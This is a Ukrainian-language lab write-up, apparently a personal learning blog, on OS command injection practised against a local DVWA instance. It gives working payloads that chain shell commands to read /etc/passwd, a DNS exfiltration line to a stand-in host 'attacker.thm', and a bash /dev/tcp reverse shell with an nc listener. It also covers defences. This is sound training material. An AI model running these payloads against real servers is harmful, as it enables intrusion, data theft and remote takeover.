// LOG #7: Command Injection — коли поле «введи IP» виконує будь-що
Юний поціновувач кібернетичних наук
SQLi ліз у базу, XSS — у браузер жертви. А сьогодні найсоковитіше: Command Injection — коли через звичайне поле на сайті ти виконуєш команди прямо на сервері. Це вже прямий шлях до захоплення машини.
>> Що таке Command Injection
Іноді веб-застосунок бере твій ввід і підставляє його в системну команду, яку виконує на сервері (через shell). Якщо ввід не перевіряють — ти дописуєш свою команду, і сервер її виконує. Результат: повний доступ до ОС від імені веб-процесу.
Класичний приклад — форма «пропінгувати хост». На сервері це приблизно так:
ping -c 4 <ТВІЙ_ВВІД>Якщо вписати не IP, а IP + роздільник + свою команду — виконаються обидві. Оце і є ін'єкція.
>> Де я це робив
Безкоштовних кімнат по Command Injection на THM не знайшлось (усі Premium), тож я підняв класику локально — DVWA (Damn Vulnerable Web App) у Docker поруч зі своєю Kali. Підняти й повторити може будь-хто. Залогінився (admin/password), скинув базу, виставив рівень безпеки Low і пішов у розділ Command Injection.
>> Роздільники команд у shell
Головна зброя — символи, якими можна «склеїти» кілька команд:
- ; — виконати послідовно (cmd1 ; cmd2);
- | — передати вивід далі / виконати наступну;
- && — виконати другу лише якщо перша успішна;
- || — виконати другу лише якщо перша впала;
- $(cmd) або `cmd` — підстановка результату команди;
- %0a — символ нового рядка, інколи обходить фільтри.
>> Практика: від ping до /etc/passwd
У поле IP замість адреси вписуємо адресу + свою команду. Спершу хто ми на сервері:
127.0.0.1; whoamiВідповідь: www-data. Тобто команди виконуються від імені веб-сервера. Далі — детальніше про акаунт через pipe:
127.0.0.1 | iduid=33(www-data). Перевіримо систему через &&:
127.0.0.1 && uname -aІ фінальний акорд — читаємо файл паролів:
127.0.0.1; cat /etc/passwd
Сервер слухняно вивалює вміст /etc/passwd. Звичайне поле «введи IP» щойно віддало мені виконання довільних команд на машині.
>> А якщо виводу не видно? (Blind)
Буває, що результат команди не показується на сторінці — це Blind Command Injection. Тоді перевіряють інакше. За часом (якщо затримка є — команда виконалась):
127.0.0.1; sleep 10Або out-of-band: змусити сервер «постукати» до тебе, і дивитись свої логи (тут — вивести результат у DNS/HTTP на свою машину):
127.0.0.1; nslookup $(whoami).attacker.thm>> Куди це веде: reverse shell
Виконання однієї команди — це вже багато, але фінальна мета — інтерактивний доступ. На своїй машині слухаємо порт:
nc -lvnp 4444А через ін'єкцію запускаємо на сервері зворотний shell:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/ВАШ_IP/4444 0>&1'І ось у нас повноцінна сесія на сервері. Далі — розвідка й підвищення привілеїв (privesc), але це вже інша історія.
Шо каже HackTricks 📖
Command Injection = повний контроль над сервером, тому це критичний баг. HackTricks має шпаргалку роздільників під Unix/Windows, техніки обходу фільтрів, time-based та DNS-ексфільтрацію, і список з 25 найчастіше вразливих параметрів (cmd, exec, ping, query…): Command Injection — HackTricks. Захист один: НЕ передавати ввід у shell. У PHP — escapeshellarg(), у Python — subprocess без shell=True (кожен аргумент окремо), у Node.js — execFile замість exec. Плюс whitelist припустимих значень (тут — валідація формату IP).
>> Що я зрозумів для себе
- Command Injection = виконання команд ОС на сервері через веб-поле. Найкритичніший клас.
- Зброя — shell-роздільники: ; | && || $() `` %0a.
- In-band — бачиш вивід; Blind — перевіряєш затримкою (sleep) або out-of-band (DNS/HTTP).
- www-data сьогодні, root завтра: далі йде privesc.
- Захист: не передавати ввід у shell (execFile/subprocess без shell), whitelist, escapeshellarg.
>> Інструмент дня
DVWA (тренажер, який я підняв) · PortSwigger OS Command Injection · HackTricks — Command Injection · PayloadsAllTheThings — Command Injection · GTFOBins (корисно для privesc після RCE)
DVWA (тренажер, який я підняв): https://github.com/digininja/DVWAPortSwigger OS Command Injection: https://portswigger.net/web-security/os-command-injectionHackTricks — Command Injection: https://book.hacktricks.wiki/en/pentesting-web/command-injection.htmlPayloadsAllTheThings — Command Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20InjectionGTFOBins (корисно для privesc після RCE): https://gtfobins.github.io/Поле «введи IP» дало мені shell. Мораль стара: усе, що прийшло від користувача — потенційна команда. Наступного разу копнемо ще глибше.
— з повагою ваш Юний поціновувач кібернетичних наук